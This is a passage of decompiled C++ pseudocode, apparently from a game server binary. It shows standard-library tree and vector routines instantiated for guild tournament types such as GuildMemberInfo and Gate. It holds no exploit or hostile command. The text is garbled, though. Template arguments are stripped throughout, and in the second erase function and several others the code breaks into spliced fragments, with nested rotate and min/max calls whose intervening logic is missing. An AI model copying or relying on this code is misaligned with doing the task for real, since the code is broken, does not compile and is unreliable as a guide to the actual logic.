*)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00459500) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v23; // [sp+50h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(_Where + 69) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 69) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 69) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == v4 ) { if ( *(_BYTE *)(v5 + 69) ) v10 = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator= 0x10u ) operator delete(*(void **)(v4 + 16)); *(_DWORD *)(v4 + 36) = 15; *(_DWORD *)(v4 + 32) = 0; *(_BYTE *)(v4 + 16) = 0; operator delete((void *)v4); v18 = *((_DWORD *)v20 + 2); if ( v18 ) *((_DWORD *)v20 + 2) = v18 - 1; v19 = result; *result = _Where; return v19; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (004597E0) -------------------------------------------------------- int std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node(...) { std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent = _Parg; v7 = (char *)&this->_Myval; this->_Left = _Larg; this->_Right = _Rarg; this->_Myval.first._Myres = 15; this->_Myval.first._Mysize = 0; this->_Myval.first._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &this->_Myval.first, &_Val->first, 0, 0xFFFFFFFFu); memcpy(v7 + 28, &_Val->second, 0x1Cu); v6->_Color = _Carg; v6->_Isnil = 0; } //----- (00459840) -------------------------------------------------------- GuildTournamentSystem::Gate *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v4; // esi@1 GuildTournamentSystem::Gate *v5; // edi@2 bool v6; // al@3 GuildTournamentSystem::Gate *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].bIsUse; --v4; --v5; v5->bIsUse = v6; v5->hFlagNumber = v4->hFlagNumber; v5->hGateNumber = v4->hGateNumber; std::basic_string_std::allocator>::assign( &v5->strunUseGateName, &v4->strunUseGateName, 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( &v5->strUseGateName, &v4->strUseGateName, 0, 0xFFFFFFFFu); } while ( v4 != _First ); result = v5; } return result; } //----- (004598A0) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v4; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // edi@2 int v6; // eax@3 GuildTournamentSystem::AdvanMobItemRegenInfo *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = *(_DWORD *)&v4[-1].mapName.n3_name[0]; --v4; --v5; *(_DWORD *)&v5->mapName.n3_name[0] = v6; *(_DWORD *)&v5->mapName.n3_name[4] = *(_DWORD *)&v4->mapName.n3_name[4]; *(_DWORD *)&v5->mapName.n3_name[8] = *(_DWORD *)&v4->mapName.n3_name[8]; std::basic_string_std::allocator>::assign( &v5->strGroupName, &v4->strGroupName, 0, 0xFFFFFFFFu); v5->AdvanIndex = v4->AdvanIndex; } while ( v4 != _First ); result = v5; } return result; } //----- (00459900) -------------------------------------------------------- GuildTournamentSystem::Gate *__cdecl std::_Uninit_copy>(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v5; // esi@1 GuildTournamentSystem::Gate *v6; // edi@1 int v8; // [sp-Ch] [bp-20h]@1 GuildTournamentSystem::Gate *_Next; // [sp+0h] [bp-14h]@1 int *v10; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) GuildTournamentSystem::Gate::Gate(v5, v6); ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (004599E0) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v6; // edi@1 int v8; // [sp-Ch] [bp-20h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Next; // [sp+0h] [bp-14h]@1 int *v10; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v5 = _First; v6 = _Dest; v10 = &v8; _Next = _Dest; v11 = 0; while ( v5 != _Last ) { std::_Construct(v6, v5); ++v6; ++v5; } return v6; } //----- (00459A90) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { GuildTournamentSystem::GuildMemberInfo *v2; // edi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran((std::vector > *)this); return &v2[_Pos]; } //----- (00459AD0) -------------------------------------------------------- TickTimer *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { TickTimer *v2; // esi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran((std::vector > *)this); return &v2[_Pos]; } //----- (00459B10) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { GuildTournamentSystem::FlagInfo *v2; // esi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran(this); return &v2[_Pos]; } //----- (00459B50) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x7FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(2 * _Capacity); v2->_Myend = (unsigned __int16 *)((char *)v4 + 2 * _Capacity); v2->_Myfirst = (unsigned __int16 *)v4; v2->_Mylast = (unsigned __int16 *)v4; result = 1; } else { result = 0; } return result; } //----- (00459BA0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Isnil; v2 = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (00459BE0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val) { std::vector > *v4; // ebx@1 GuildTournamentSystem::GuildMemberInfo *v5; // edi@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 unsigned int v8; // esi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ecx@15 int v12; // eax@18 int v13; // edi@22 GuildTournamentSystem::GuildMemberInfo *v14; // ST14_4@22 int v15; // eax@22 int v16; // esi@24 GuildTournamentSystem::GuildMemberInfo *v17; // ecx@27 std::vector >::iterator v18; // edi@27 signed int v19; // edx@27 unsigned int v20; // ST24_4@28 GuildTournamentSystem::GuildMemberInfo *v21; // ST20_4@28 unsigned int v22; // edx@28 int v23; // [sp-Ch] [bp-38h]@1 GuildTournamentSystem::GuildMemberInfo _Tmp; // [sp+0h] [bp-2Ch]@1 int *v25; // [sp+1Ch] [bp-10h]@1 int v26; // [sp+28h] [bp-4h]@22 GuildTournamentSystem::GuildMemberInfo *_Wherea; // [sp+34h] [bp+8h]@29 GuildTournamentSystem::GuildMemberInfo *_Ptr; // [sp+38h] [bp+Ch]@22 void *_Newvec; // [sp+3Ch] [bp+10h]@22 GuildTournamentSystem::GuildMemberInfo *_Newveca; // [sp+3Ch] [bp+10h]@27 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v25 = &v23; if ( v5 ) { v7 = (signed int)((char *)this->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Myend - (char *)v5)) >> 32) - (unsigned int)v5)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v4->_Myfirst; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1830].esc_skill.buffer[-v9 + 26253] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v4->_Myfirst ) v10 = v4->_Mylast - v4->_Myfirst; else v10 = 0; if ( v6 >= _Count + v10 ) { v17 = v4->_Mylast; v18 = _Where; v19 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 4; _Newveca = v4->_Mylast; if ( v19 + ((unsigned int)v19 >> 31) >= _Count ) { _Wherea = &v17[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v17[-_Count], v17, v17, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v17 - 28 * _Count)); std::copy_backward( *(GuildTournamentSystem::GuildMemberInfo **)&v18, _Wherea, _Newveca); std::fill( *(GuildTournamentSystem::GuildMemberInfo **)&v18, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&v18 + 28 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, v17, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&_Where + 28 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(28 * _Count)); v20 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 28; v21 = v4->_Mylast; v26 = 2; std::vector>::_Ufill( v4, v21, v20, &_Tmp); v22 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::GuildMemberInfo *)v22; std::fill( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, (GuildTournamentSystem::GuildMemberInfo *)(v22 - 28 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1830].esc_skill.buffer[-(v6 >> 1) + 26253] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v4->_Myfirst ) v12 = v4->_Mylast - v4->_Myfirst; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size((std::vector,std::allocator >,std::allocator,std::allocator > > > *)v4); v13 = 28 * v11; _Newvec = operator new(28 * v11); v14 = v4->_Myfirst; v26 = 0; _Ptr = std::_Uninit_copy>( v14, *(GuildTournamentSystem::GuildMemberInfo **)&_Where, (GuildTournamentSystem::GuildMemberInfo *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 28; v16 = v15 + v8; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (GuildTournamentSystem::GuildMemberInfo *)((char *)_Newvec + v13); v4->_Mylast = (GuildTournamentSystem::GuildMemberInfo *)((char *)_Newvec + 28 * v16); v4->_Myfirst = (GuildTournamentSystem::GuildMemberInfo *)_Newvec; } } } //----- (00459EB0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned __int16 *_Val) { std::vector > *v4; // esi@1 unsigned __int16 *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 unsigned __int16 *v16; // eax@25 unsigned __int16 *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 unsigned __int16 *v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const unsigned __int16 *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 2147483647 - v8 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 1; v23 = 2 * _Count; _Wherea = 2 * _Count; if ( v22 >= _Count ) { v25 = (unsigned __int16 *)(v20 - v23); v4->_Mylast = (unsigned __int16 *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward(*(unsigned __int16 **)&v21, v25, (unsigned __int16 *)v20); std::fill( *(unsigned __int16 **)&v21, (unsigned __int16 *)(*(_DWORD *)&v21 + _Wherea), (const unsigned __int16 *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( v4, v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 1), (const unsigned __int16 *)&_Val); v24 = (int)&v4->_Mylast[_Wherea / 2]; v4->_Mylast = (unsigned __int16 *)v24; std::fill( *(unsigned __int16 **)&v21, (unsigned __int16 *)(v24 - _Wherea), (const unsigned __int16 *)&_Val); } } else { if ( 2147483647 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 2 * v10; v13 = operator new(2 * v10); v14 = 2 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 1); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( v4, (unsigned __int16 *)(v14 + v15), v7, (const unsigned __int16 *)&_Val); memmove((char *)v16, *(char **)&_Where, 2 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 1)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (unsigned __int16 *)((char *)_Newvec + _Counta); v4->_Mylast = (unsigned __int16 *)((char *)_Newvec + 2 * v19); v4->_Myfirst = (unsigned __int16 *)_Newvec; } } } //----- (0045A080) -------------------------------------------------------- std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val) { std::pair *v3; // ebp@1 std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned int v8; // edx@2 std::pair *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator >,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->first; do { v7 = v8 < v6->_Myval.first; v5 = v6; _Addleft = v8 < v6->_Myval.first; if ( v8 >= v6->_Myval.first ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (std::pair *)v5; _Val = (std::pair *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 